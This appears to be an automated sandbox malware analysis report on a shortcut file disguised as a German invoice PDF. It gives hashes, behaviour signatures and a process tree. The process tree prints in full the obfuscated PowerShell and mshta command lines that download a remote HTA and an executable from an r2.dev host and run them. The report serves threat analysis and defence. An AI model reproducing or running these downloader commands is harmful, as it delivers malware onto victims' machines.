Overview
overview
10Static
static
1Rechnung_2...df.lnk
windows7-x64
10Rechnung_2...df.lnk
windows10-2004-x64
10Rechnung_2...df.lnk
windows7-x64
10Rechnung_2...df.lnk
windows10-2004-x64
10Rechnung_2...df.lnk
windows7-x64
10Rechnung_2...df.lnk
windows10-2004-x64
10Rechnung_2...df.lnk
windows7-x64
10Rechnung_2...df.lnk
windows10-2004-x64
10Analysis
-
max time kernel
117s -
max time network
127s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
14/11/2024, 20:00
Static task
static1
Behavioral task
behavioral1
Sample
Rechnung_2024_0091.pdf.lnk
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
Rechnung_2024_0091.pdf.lnk
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Rechnung_2024_0092.pdf.lnk
Resource
win7-20241023-en
Behavioral task
behavioral4
Sample
Rechnung_2024_0092.pdf.lnk
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
Rechnung_2024_0093.pdf.lnk
Resource
win7-20240708-en
Behavioral task
behavioral6
Sample
Rechnung_2024_0093.pdf.lnk
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
Rechnung_2024_0094.pdf.lnk
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
Rechnung_2024_0094.pdf.lnk
Resource
win10v2004-20241007-en
General
-
Target
Rechnung_2024_0093.pdf.lnk
-
Size
3KB
-
MD5
001c1231f099ae2188df58798c2c32cf
-
SHA1
6e8394a04aa35551437d91910c787bf2165c175b
-
SHA256
0d6049a23bc24a385997c0514ffc22a9c0c9ba681d1cac2f6cb5013bafeefe4f
-
SHA512
b46b0ed51706e68a7b2e1d3609caaa2bc45676cb876c9ca72c51d9e34d2e5821dba256378950b3dc678d44c0cbfe14a6f599c66fb6843a34c76f7e258959e2c9
Malware Config
Extracted
https://pub-5b9223b1b9e74a70be22a0816a8b7ead.r2.dev/123.hta
Signatures
-
Blocklisted process makes network request 3 IoCs
flow pid Process 5 2684 mshta.exe 7 2684 mshta.exe 8 1140 powershell.exe -
Downloads MZ/PE file
-
pid Process 2804 powershell.exe 1140 powershell.exe 1140 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 mshta.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 mshta.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2804 powershell.exe 1140 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2804 powershell.exe Token: SeDebugPrivilege 1140 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2492 wrote to memory of 2804 2492 cmd.exe 31 PID 2492 wrote to memory of 2804 2492 cmd.exe 31 PID 2492 wrote to memory of 2804 2492 cmd.exe 31 PID 2804 wrote to memory of 2684 2804 powershell.exe 32 PID 2804 wrote to memory of 2684 2804 powershell.exe 32 PID 2804 wrote to memory of 2684 2804 powershell.exe 32 PID 2684 wrote to memory of 1140 2684 mshta.exe 34 PID 2684 wrote to memory of 1140 2684 mshta.exe 34 PID 2684 wrote to memory of 1140 2684 mshta.exe 34
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Rechnung_2024_0093.pdf.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2492 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $a='48aAs.69edS3b/:15u2vtmrpL0-7h'; &(-join($a[(-648+652),(169-167),(990-966)])) ^[ (-join($a[(-648+652),(169-167),(990-966)])); ^[ /# (-join($a[(-476+497),(-648+652),(-158+186),(-824+844),(169-167)])); foreach($z in @((-105+133),(-426+446),(575-555),(173-150),(-217+221),(-509+523),(524-511),(711-698),(210-187),(-471+488),(-724+736),(-668+694),(-606+622),(-351+363),(906-899),(-719+737),(899-881),(166-155),(387-375),(-188+203),(-604+616),(783-776),(-378+386),(775-748),(660-660),(995-993),(803-776),(-863+888),(-920+932),(333-325),(994-976),(559-541),(700-698),(835-810),(-958+959),(425-410),(-411+417),(686-684),(-963+964),(569-557),(934-907),(861-853),(-724+726),(950-941),(494-489),(-470+492),(-789+807),(805-800),(-232+241),(-603+611),(1008-989),(-242+255),(-653+668),(-705+723),(580-569),(-536+541),(986-958),(736-716),(-368+370))){$m+=$a[$z]}; /# $m;2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2804 -
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" https://pub-5b9223b1b9e74a70be22a0816a8b7ead.r2.dev/123.hta3⤵
- Blocklisted process makes network request
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2684 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function hQzEzFacg($guorUJ, $OIoEigYq){[IO.File]::WriteAllBytes($guorUJ, $OIoEigYq)};function uuuOHRemK($guorUJ){if($guorUJ.EndsWith((ijnaJnaV @(5036,5090,5098,5098))) -eq $True){Start-Process (ijnaJnaV @(5104,5107,5100,5090,5098,5098,5041,5040,5036,5091,5110,5091)) $guorUJ}else{Start-Process $guorUJ}};function xlptFHdqR($FSYzd){$EBqZdo = New-Object (ijnaJnaV @(5068,5091,5106,5036,5077,5091,5088,5057,5098,5095,5091,5100,5106));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$OIoEigYq = $EBqZdo.DownloadData($FSYzd);return $OIoEigYq};function ijnaJnaV($UxikGUX){$MKUYRJP=4990;$VRwScE=$Null;foreach($NymBWJi in $UxikGUX){$VRwScE+=[char]($NymBWJi-$MKUYRJP)};return $VRwScE};function TQiKbyGz(){$vXhNEzkB = $env:APPDATA + '\';$WRrNymqB = xlptFHdqR (ijnaJnaV @(5094,5106,5106,5102,5105,5048,5037,5037,5102,5107,5088,5035,5043,5088,5047,5040,5040,5041,5088,5039,5088,5047,5091,5045,5042,5087,5045,5038,5088,5091,5040,5040,5087,5038,5046,5039,5044,5087,5046,5088,5045,5091,5087,5090,5036,5104,5040,5036,5090,5091,5108,5037,5059,5078,5056,5072,5072,5076,5071,5074,5036,5091,5110,5091));$AvKehPB = $vXhNEzkB + 'EXBRRVQT.exe';hQzEzFacg $AvKehPB $WRrNymqB;uuuOHRemK $AvKehPB;;;;}TQiKbyGz;4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1140
-
-
-